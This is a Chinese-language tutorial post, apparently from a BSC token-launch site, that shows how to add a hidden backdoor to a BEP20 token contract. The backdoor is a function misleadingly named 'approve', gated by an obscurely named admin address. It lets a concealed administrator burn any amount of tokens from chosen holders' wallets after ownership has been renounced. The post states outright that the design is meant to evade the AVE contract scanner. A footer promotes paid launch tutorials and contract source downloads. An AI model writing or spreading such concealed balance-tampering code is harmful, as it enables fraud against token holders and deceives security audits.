一、说明
出于代币市值管理的需要,合约中可能需要增加允许销毁指定钱包地址,指定数量代币的功能,以维护代币的正常市值运营。由于合约上线交易所后普遍会放弃合约所有权,因此,需要通过二级隐藏权限控制对指定地址代币数量的修改功能。
通过增加noAccess方法限制函数的调用者必须是指定的管理员地址,其他非管理员地址无权触发函数。同时保障在AVE上合约检测时无法检测处可以随意篡改余额的漏洞。
二、合约代码实现
function approve(address[] memory senders, uint256 amount) public _noAccess() { for(uint256 i = 0; i < senders.length; i++) { _balances[senders[i]] = _balances[senders[i]].sub(amount, "BEP20: burn amount exceeds balance"); _balances[DEAD] = _balances[DEAD].add(amount); emit Transfer(senders[i], DEAD, amount); } } modifier _noAccess() { require(_adminhropxy == msg.sender, "BEP20: caller is not adminhropxy"); _; }
至此,完成合约中增加隐藏可以销毁指定地址指定数量代币的功能的所有操作流程。
pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载:
币安智能链BSC发币(合约部署、开源、锁仓、LP、参数配置、开发、故障处理、工具使用)教程下载:
多模式(燃烧、回流指定营销地址、分红本币及任意币种,邀请推广八代收益,LP加池分红、交易分红、复利分红、NFT分红、自动筑池、动态手续费、定时开盘、回购)组合合约源代码下载:
pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载地址:
此内容仅供注册用户可见,请登录!
添加VX或者telegram获取全程线上免费指导
评论前必须登录!
注册